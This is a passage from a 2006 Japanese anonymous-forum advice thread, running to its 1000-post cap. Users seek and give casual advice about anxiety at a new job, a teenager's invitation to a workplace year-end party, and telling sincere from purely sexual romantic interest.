やましい気持ちが有るのにグループとの繋がりを選ぶなら、やっぱり自業自得

率先して止めようって言う度胸は…無いかなー…あればこんなトコ居ないよね
グループのメンバーが本当の友達なら「仲間外れ」何て言葉は出ないと思うし
その程度で仲間外れにされるなら、何か有った時
自分だけに責任押し付けられる可能性も考えといてね

>>950身も蓋も無いw こういう板覗くだけマシかと思う

>>969乙です!

971 :マジレスさん:2006/11/11(土) 19:33:08 ID:ag+LgvJI
>>955
ちなみに貴方のような人…バブル期前後に就職した人はある意味“不幸”だともいわれている。
当時は就職できるのは当然で、特に何か技能がなくともお金が稼げる…つまり大学で何もしなくとも良い時代だった。

しかし急に成果主義になった現在…

某大学の教授の試算ではこの先“誰でも出来るような”仕事(正社員で)は実質、時給200円ほどになってしまうそうである。
今後の負け組勝ち組の差はまさにその点で、市民レベルでも分かれてくる。
今は就職前に必死に“かけがえのない”ような力を備えるように努力をする必要性が認識されつつある。

誰かの下で働くなんて格好悪い、嫌だ、なんて考えるのはもう古い。

必要性のある人間にならなければならない。


972 :マジレスさん:2006/11/11(土) 19:33:31 ID:5QjWs2fB
明日から転職します。
女ばかりの職場なので頑張ろうとは思ってるのですが、私は小心者で対人恐怖があるのでとても不安です…。
でもせっかく働ける場所が見つかったので長く働きたいんです。
うまく職場でやっていける方法があったら教えて下さい。
ちなみに新規で出来た職場です。
不安で眠れません…。

973 :マジレスさん:2006/11/11(土) 19:38:01 ID:xSvkYmJb
相談です。
今高一女で飲食店でバイトしてます。
来月その店で忘年会があるんですが、その忘年会に誘われました。しかし自分はそこでバイト始めてまだ少ししか働いません。
まだ続くかどうかわからないし、平日にあるらしいのでどうしようか迷ってます。
どうしたらいいでしょうか?

974 :マジレスさん:2006/11/11(土) 19:44:27 ID:ag+LgvJI
>>973
学業を優先するのが当然。
もし無理に誘うようなら良い職場環境ではないだろう。

975 :マジレスさん :2006/11/11(土) 19:48:02 ID:k0Cd8vq9
>>972笑顔で元気に挨拶!カラ元気でも何でも良い!とにかく第一声は笑顔!

第一印象って本当大事で、最初が良いと気軽に声掛けて貰えたり
何か有った時フォローして貰え易い
その上で「話すの苦手で…」とか最初に言っとくと良いかもしれません

後は一生懸命やってれば、普通の人なら好感持ってくれると思うので
分からないところは積極的に聞くなど、マイペースに少しずつでも
コミュニケーション取ったらどうでしょう?

長く働くなら尚更、職場の人間関係は重要だと思いますよ
楽しく働ける環境だと良いですね、頑張って下さい

976 :マジレスさん:2006/11/11(土) 19:49:58 ID:vT6Ie2Ex
>>973
そのバイトで馴染みたい!って思うなら行った方が良いんじゃないかな。
回りはお酒も入るだろうし話す機会ってそういう場面が一番だし。
それに誘われたんなら行くのが普通・・・じゃないかな。
でもまだ1ヶ月も経たないんなら慣れてないだろうし、
いいんじゃない?

977 :マジレスさん:2006/11/11(土) 19:51:19 ID:UKCMGKSg
>>973
気が進まないなら「ごめんなさい〜その日は大事な約束があって〜」と明るくかわしましょう。
未成年にお酒をすすめたり、馬鹿騒ぎをして乱れる会になるかもしれないし。



978 :マジレスさん :2006/11/11(土) 19:57:06 ID:k0Cd8vq9
>>973
コミュニケーションの場としては良い機会だけど
年齢的に遅い時間に出歩くのはいただけないね
忘年会だと場所や時間で、職場の人以外の酔っ払いに引っかかる可能性もあるし

行くなら時間帯や場所を考慮した上で、途中で抜けるとかした方が良いかな
特別仲の良い人が居なくて迷ってるなら、行かない方が無難な気もするけどね

979 :973です。:2006/11/11(土) 20:00:54 ID:xSvkYmJb
973です。みんなサンクスです。
その忘年会はちゃんと終わる時間が決まってるんですがなにしろ街中で行われて、かえるのが夜十時くらいになりそうなんです。
あと自分口下手でなかなか話が続かないんですよ…


980 :978:2006/11/11(土) 20:12:01 ID:k0Cd8vq9
>>979近所かつ帰りに送ってくれそう(もしくは迎えに来てもらう)な人が居るなら
何とか…って微妙な時間だね。行きたいなら親に相談したらどうかな

高校生なら口下手でも全然OKだと思うよ
開放的な気分になってるだろう、周りの人の話を聞くのも楽しいかと
周りの年代にもよるけど、他に学生や主婦が居るなら皆無茶しないと思うけど

でも不安なら無理に行かない方が、やっぱり無難

981 :マジレスさん:2006/11/11(土) 20:16:07 ID:hzV/zQNw
>>979
口下手なら、理由をつけて断っちゃうのもいいと思いますよ
私は酒が飲めないほうなんですが
周りがみんな酔っ払ってハイテンションになるなか
自分ひとりだけシラフのままってのは結構辛いものがあります
そういうときにノリが悪いよ、なんて言われたら困りますね

982 :909:2006/11/11(土) 20:18:39 ID:C/mAxuN4
はい。今までの話うそぴょん

983 :マジレスさん:2006/11/11(土) 20:21:48 ID:hzV/zQNw
>>982
うそでしたか、本当の悩みじゃなかったのはよかったですね


984 :マジレスさん:2006/11/11(土) 20:24:20 ID:xSvkYmJb
>>973です。
やっぱり忘年会には行かないようにします。
次の日学校あるし、時間が遅くなったら怒られるかもしれないので、やめときます。
みなさんありがとうごさいました

985 :914:2006/11/11(土) 20:25:51 ID:k0Cd8vq9
>>982 キター(ry クマー(ry

暇だネェ…でも答え変わんないよー?
相談者だけじゃなく、ロムにも言ってるつもりだからw

ふっ…悔しがるが良いwww

986 :マジレスさん:2006/11/11(土) 20:25:56 ID:xSvkYmJb
>982           嘘じゃねぇよボケ

987 :マジレスさん:2006/11/11(土) 20:37:45 ID:5QjWs2fB
>>972です。
>>975さんマジレスありがとうございます!
頑張ってみますね。

988 :マジレスさん:2006/11/11(土) 20:45:47 ID:2Q2vz4DK
コミュニケーションスキルみたいなものばかり流行って真になげかわしい。
真心のこもった大和魂コミュニケーションをとりたい・・・

989 :マジレスさん:2006/11/11(土) 20:48:44 ID:db9eX1zl
「大和魂コミュニケーション」なんて漢字と外来語が混ざった表記を見ただけで
なんか軽くて胡散臭いと思ってしまう素直なモレ。


990 :マジレスさん :2006/11/11(土) 20:55:31 ID:k0Cd8vq9
>>988上っ面じゃなくて拳で語るみたいな感じでしょうかね?
ヘ(_ _ヘ)☆\( ̄∀ ̄*)こんな感じ?

…突っ込んで下さってかまいません
殴るAA 見当たりませんでした…>荒れるから貼るな

991 :マジレスさん:2006/11/11(土) 22:37:31 ID:Q6mfSMjX
>>972
あなたは男ですか?女ですか?

992 :マジレスさん:2006/11/11(土) 23:32:13 ID:dJRwNb0m
長く付き合ったカレと別れてから、体目的の男にひっかかって、
あっこの人つきあえるのかな〜って恋をしそうになったら体目的だった・・・
ってなったりします。
正直悲しいです。
体目的か、真剣か、っていうところはどこで判断したらいいのでしょうか。
見る目を養え、っていうアドバイスを具体的にお願いします。

993 :マジレスさん:2006/11/11(土) 23:33:58 ID:5QjWs2fB
>>991さん。
女です。

994 :名無しさん@お腹いっぱい。:2006/11/11(土) 23:35:45 ID:lyCyoO8h
>>992
見る目を養え。

そんなこと分からないの?
真剣な人は未来の展望があるでしょう。
体目的は未来の話はしない。

995 :マジレスさん:2006/11/11(土) 23:36:11 ID:wNrBaRne
>933
一人でも友人作れば安心だよ。肩の力を抜いて寝るべし。
悩んでも寝ても時間は同じ速度で進みますから

996 :992:2006/11/11(土) 23:41:12 ID:dJRwNb0m
>>994
見る目を養うって具体的にどうするんですか?
あと、未来への展望があるってどういうことですか?

997 :名無しさん@お腹いっぱい。:2006/11/11(土) 23:49:34 ID:lyCyoO8h
あなたがこう書いて欲しいとリクしたから書いただけです。
真剣にあなたの体が欲しいのではなく、真剣にあなたの未来が欲しいということです。

998 :マジレスさん:2006/11/12(日) 00:07:29 ID:/BxvGJlK
>>992
『体目的』…って、

『最初から1発ヤリたいだけ』
『最初からセフレ希望』
の事だよね?
…拒んでみりゃイイじゃん。

まぁ、『体目的』じゃ無くても
『惚れていた筈なのに、
寝たら何だか冷めてしまった』ってケースは少なくないと思うよ。


言えるのは
『スグに寝ない事』と
『惚れさせておく事』位。

999 :マジレスさん:2006/11/12(日) 00:28:50 ID:8dLOoUVh
ポッキー

1000 :マジレスさん:2006/11/12(日) 00:29:22 ID:8dLOoUVh
も一つポッキー

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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